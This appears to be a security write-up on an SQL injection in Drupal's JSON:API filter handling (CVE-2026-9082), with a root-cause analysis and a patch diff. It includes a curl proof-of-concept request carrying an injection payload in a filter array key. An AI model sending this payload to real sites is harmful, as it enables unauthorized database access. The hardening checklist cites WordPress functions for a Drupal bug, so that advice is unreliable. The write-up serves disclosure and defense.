The Exploit
An attacker only needs a public Drupal JSON:API content endpoint to send a malformed filter array and trigger SQL injection.
curl -G 'https://TARGET/jsonapi/node/page' \
-H 'Accept: application/vnd.api+json' \
--data-urlencode 'filter[title][condition][path]=title' \
--data-urlencode 'filter[title][condition][operator]=IN' \
--data-urlencode 'filter[title][condition][value][0) OR 1=1 --]=x'
The request submits a JSON:API filter value with an attacker-controlled array key. When the request lands on a vulnerable Drupal core install, the site returns an SQL error or behaves as if the filter condition was rewritten by the injected payload. On vulnerable PostgreSQL-backed sites, the response can become a 500 error with a server-side SQL syntax failure originating from the LOWER(:...) placeholder generation.
What the Patch Did
Before:
$condition['real_field'] = $field;
static::translateCondition($condition, $sql_query, $tables->isFieldCaseSensitive($condition['field']));
After:
$condition['real_field'] = $field;
if (is_array($condition['value'])) {
$condition['value'] = array_values($condition['value']);
}
static::translateCondition($condition, $sql_query, $tables->isFieldCaseSensitive($condition['field']));
The patch adds a normalization step using PHP’s array_values() to strip attacker-controlled keys out of condition value arrays before they reach SQL generation. That single change prevents array keys from being reused as SQL placeholder identifiers or injected text in the query builder.
Root Cause
This is a classic SQL Injection bug (CWE-89) caused by bad handling of array keys in entity query conditions. Drupal’s JSON:API filter parameters like filter[title][condition][value][...]=... are parsed into an internal condition['value'] array. If an attacker supplies a non-numeric key such as 0) OR 1=1 --, that key survives into the SQL translation stage and is used unsafely in placeholder construction. The trust boundary broken here is between HTTP request parameter names and SQL query assembly: user-supplied array keys were treated as safe metadata instead of untrusted input.
Why It Works
The load-bearing line is the array_values($condition['value']) call. Without it, the array retains attacker-controlled keys and the PGSQL-specific code later uses those keys in LOWER(:$where_id) placeholder text. The other patch additions exist because the bug can appear in multiple query-building branches: generic conditions, aggregated conditions, and PostgreSQL-specific placeholder loops. Each branch needed the same normalization so the vulnerability could not survive through a different code path.
Hardening Checklist
- Normalize array-valued request input before SQL use with
array_values()or equivalent. - Never place untrusted data into SQL identifiers or placeholder names; only bind values through prepared statements.
- Reject unexpected nested array keys in API filters using request validation helpers like
rest_validate_request_arg()or equivalent. - Sanitize any user-controlled query path or field names with
sanitize_key()/sanitize_text_field()before using them in query building. - Prefer strict schema-driven filters over free-form array input to avoid parsing arbitrary nested keys into query logic.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-9082